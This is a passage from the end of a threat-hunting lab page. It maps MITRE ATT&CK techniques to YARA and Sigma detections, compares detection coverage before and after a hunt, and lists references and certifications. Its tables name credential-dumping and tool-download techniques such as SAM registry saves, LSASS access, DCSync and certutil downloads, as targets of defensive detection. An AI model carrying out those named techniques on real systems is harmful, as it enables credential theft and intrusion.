| T1496 | Resource Hijacking | Ex. 2, 5 | YARA (cryptominer strings, pool domains) |
| T1505.003 | Web Shell | Ex. 2, 5 | YARA (PHP functions, obfuscation) |
| T1071.001 | Web Protocols | Ex. 2, 5 | YARA (CS beacon), Sigma (network IOCs) |
| T1573.002 | Asymmetric Cryptography | Ex. 2 | YARA (CS beacon encryption) |
| T1021.002 | SMB/Windows Admin Shares | Ex. 3, 5 | Sigma (PsExec, WMI, sc.exe) |
| T1047 | WMI | Ex. 3 | Sigma (WmiPrvSE child processes) |
| T1569.002 | Service Execution | Ex. 3 | Sigma (services.exe child processes) |
| T1053.005 | Scheduled Task | Ex. 3 | Sigma (schtasks.exe, Event 4698) |
| T1003.001 | LSASS Memory | Ex. 3, 5 | Sigma (Sysmon Event 10, LSASS access) |
| T1003.002 | SAM | Ex. 3 | Sigma (reg.exe save SAM) |
| T1003.006 | DCSync | Ex. 3 | Sigma (Event 4662, replication GUIDs) |
| T1074.001 | Local Data Staging | Ex. 3, 5 | Sigma (archive creation, staging dirs) |
| T1560.001 | Archive via Utility | Ex. 3 | Sigma (7z, rar, PowerShell Compress) |
| T1218 | System Binary Proxy Execution | Ex. 3, 5 | Sigma (LOLBin abuse) |
| T1218.005 | mshta | Ex. 3, 5 | Sigma (remote HTA execution) |
| T1218.010 | regsvr32 | Ex. 3 | Sigma (Squiblydoo) |
| T1218.011 | rundll32 | Ex. 3, 5 | Sigma (JavaScript execution) |
| T1105 | Ingress Tool Transfer | Ex. 3, 5 | Sigma (certutil, bitsadmin download) |
| T1140 | Deobfuscate/Decode | Ex. 3 | Sigma (base64 decode, AMSI bypass) |
Security Controls Implemented¶
| Category | Before Hunt | After Hunt |
|---|---|---|
| YARA Rules | 0 custom rules | 10 production rules (4 families) |
| Sigma Rules | Generic community rules only | 9 custom rules + community baseline |
| LOLBin Detection | None | Full coverage for 10 LOLBins |
| Packed Binary Detection | AV-only | YARA entropy + PE analysis |
| Webshell Detection | None | YARA + file integrity monitoring |
| C2 Detection | IOC blocklist only | Behavioral + IOC + YARA |
| Credential Dump Detection | Event 4624 only | Sysmon Event 10 + 4662 + process |
| Hunt Cadence | Ad-hoc | Quarterly program with metrics |
| Rule Lifecycle | Manual | CI/CD pipeline with automated testing |
| IOC Sweep | Manual, on-demand | Automated retroactive sweep |
Additional Resources¶
Cross-References¶
- Chapter 5: Detection Engineering at Scale -- building detection pipelines, KQL/SPL query optimization, and alert tuning
- Chapter 6: Triage, Investigation & Enrichment -- alert investigation workflows and enrichment techniques
- Chapter 18: Malware Analysis -- malware analysis methodology and YARA rule development
- Chapter 27: Digital Forensics -- DFIR artifact analysis and forensic tool integration
- Chapter 38: Advanced Threat Hunting -- hypothesis-driven hunting and hunt program development
- Chapter 49: Threat Intelligence Operations -- IOC lifecycle, threat intel feeds, and intelligence-driven detection
- Scenario SC-044: Fileless Malware -- incident response for fileless malware using LOLBins
- Scenario SC-049: Ransomware Double Extortion -- ransomware detection and response
- Purple Team Exercise Library -- purple team exercises for validating YARA and Sigma rules
- Lab 18: Threat Hunting with KQL & SPL -- foundational KQL and SPL hunting queries
External Resources¶
- YARA Documentation -- official YARA rule writing documentation
- YARA-X GitHub -- next-generation YARA engine
- Sigma GitHub -- official Sigma rule repository
- sigma-cli Documentation -- Sigma rule conversion and validation tool
- LOLBAS Project -- Living Off The Land Binaries, Scripts and Libraries
- MITRE ATT&CK -- adversary tactics, techniques, and procedures
- Velociraptor Documentation -- endpoint visibility and DFIR
- KAPE Documentation -- forensic artifact collection
- Florian Roth's YARA Rules -- community YARA rules for reference
- Detection Engineering Weekly -- detection engineering community
CWE References¶
| CWE | Name | Exercise |
|---|---|---|
| CWE-506 | Embedded Malicious Code | Ex. 1, 2 (YARA detection of malicious payloads) |
| CWE-829 | Inclusion of Functionality from Untrusted Control Sphere | Ex. 2 (webshell detection) |
| CWE-94 | Improper Control of Generation of Code | Ex. 3 (PowerShell code injection) |
| CWE-78 | OS Command Injection | Ex. 2 (webshell command execution) |
| CWE-522 | Insufficiently Protected Credentials | Ex. 3 (credential dumping detection) |
| CWE-269 | Improper Privilege Management | Ex. 3 (scheduled task persistence) |
| CWE-284 | Improper Access Control | Ex. 3 (lateral movement detection) |
| CWE-311 | Missing Encryption of Sensitive Data | Ex. 3 (data staging without encryption) |
Advance Your Career¶
Recommended Certifications
This lab covers objectives tested in the following certifications. Investing in these credentials validates your detection engineering and threat hunting expertise:
| Certification | Focus | Link |
|---|---|---|
| GIAC GCTI -- Cyber Threat Intelligence | Threat intelligence analysis, IOC development, detection rule creation, and intelligence reporting | Learn More |
| GIAC GCFE -- Certified Forensic Examiner | Windows forensic analysis, artifact identification, evidence examination, and YARA-based triage | Learn More |
| GIAC GCFA -- Certified Forensic Analyst | Advanced forensic analysis, threat hunting, timeline analysis, and incident response | Learn More |
| CompTIA CySA+ (CS0-003) | Security operations, threat detection, vulnerability management, and incident response | Learn More |
| CompTIA CASP+ (CAS-004) | Advanced security architecture, engineering, operations, and governance | Learn More |
| OSCP -- Offensive Security Certified Professional | Penetration testing methodology, understanding attacker TTPs for better detection | Learn More |
| OSDA -- Offensive Security Defense Analyst | Detection engineering, SIEM analysis, threat hunting, and blue team operations | Learn More |
These links are provided for reference. Nexus SecOps may earn a commission from qualifying purchases, which helps support free security education content.